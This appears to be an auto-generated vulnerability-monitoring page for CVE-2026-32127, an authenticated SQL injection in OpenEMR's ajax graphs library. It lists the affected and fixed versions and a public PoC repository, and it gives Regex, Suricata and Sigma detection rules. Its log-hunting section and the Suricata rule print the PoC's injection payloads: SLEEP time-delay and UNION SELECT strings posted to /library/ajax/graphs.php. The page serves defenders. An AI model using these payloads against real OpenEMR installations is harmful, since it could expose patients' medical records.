OpenEMR
SQL Injection Vulnerability in ajax graphs library (OpenEMR)
OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.1, OpenEMR contains a SQL injection vulnerability in the ajax graphs library that can be exploited by authenticated attackers. The vulnerability exists due to insufficient input validation in the ajax graphs library. This vulnerability is fixed in 8.0.0.1.
Affected versions and mitigation
From the CVE record and the vendor's references.Affected
- < 8.0.0.1
Fixed in 8.0.0.1
Mitigation
Upgrade openemr to 8.0.0.1 or later.
References
- Vendor advisory github.com/openemr/openemr/security/advisories…
Timeline
Days relative to CVE publicationFirst public PoC 13 days before publication; not in CISA KEV. First PoC: ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0 (created 26 Feb 2026, found by us: backfilled).
PoC repositories
Found on GitHub.1 PoCs
PoCs 1
| Repository | Created | Stars | Assessment |
|---|---|---|---|
| ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0 | 26 Feb 2026 −13 d | 0 | PoC
Flags · score 15
Below the suspicion threshold (50); does not change the assessment. |
Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.
PoC characteristics
What to hunt for in your logs · from 1 PoC repoPOST /library/ajax/graphs.php
- Key headers
Cookie: OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2- Body markers
csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603name=payload"injectiontable=LBFname=date,SLEEP(5) FROM (SELECT 1 AS field_value) AS ld UNION SELECT ld.field_value AS datename=date,SLEEP(1) FROM (SELECT NULL AS field_value) AS ld UNION SELECT 1 AS date,1 UNION SELECT ld.field_value AS datename=date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 UNION ALL SELECT ld.field_value AS datedatename=date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 0 UNION ALL SELECT ld.field_value AS datedateinapplication/x-www-form-urlencoded- Seen in
- 1 repo: ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0
- Evidence
- ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:62 ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:67 ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:70 ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:124 ChrisSub08/CVE-2026-32127_SqlInjectionVulnerabilityOpenEMR8.0.0/README.md:128
Regex
Generated from PoC characteristics; not yet reviewed. Matches the request path and query.
(?i)^/library/ajax/graphs\.php(?:[?#].*)?$
Suricata
Template generated from PoC characteristics. Review before deploying.
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2026-32127 openemr openemr exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/library/ajax/graphs.php"; http.header; content:"Cookie: OpenEMR=84c7dded187f7601e7f0cd3d0a1780f2"; nocase; http.request_body; content:"csrf_token_form=583918e787c3d7816d9cb522ab103d099e55b603"; http.request_body; content:"name=payload|22|injection"; http.request_body; content:"table=LBF"; http.request_body; content:"name=date,SLEEP(5) FROM (SELECT 1 AS field_value) AS ld UNION SELECT ld.field_value AS date"; http.request_body; content:"name=date,SLEEP(1) FROM (SELECT NULL AS field_value) AS ld UNION SELECT 1 AS date,1 UNION SELECT ld.field_value AS date"; http.request_body; content:"name=date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 1 UNION ALL SELECT ld.field_value AS datedate"; http.request_body; content:"name=date, 1 FROM (SELECT 1 AS field_value) AS ld JOIN (SELECT 1 AS n UNION ALL SELECT 2 UNION ALL SELECT 3 UNION ALL SELECT 4 UNION ALL SELECT 5) AS numbers WHERE 0 UNION ALL SELECT ld.field_value AS datedate"; reference:url,poc.griffinguard.io/cve/CVE-2026-32127; classtype:web-application-attack; sid:9136055; rev:1;)
Sigma
Template generated from PoC characteristics. Review before deploying.
title: openemr openemr exploit attempt (CVE-2026-32127)
id: gg-pocmon-cve-2026-32127-9136055
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-32127. Generated, not reviewed.
references:
- https://poc.griffinguard.io/cve/CVE-2026-32127
logsource:
category: webserver
detection:
selection:
cs-method: POST
cs-uri-stem|contains|all:
- '/library/ajax/graphs.php'
condition: selection
falsepositives:
- Authorized vulnerability scanning
level: high
tags:
- attack.initial_access
- attack.t1190
- cve.2026.32127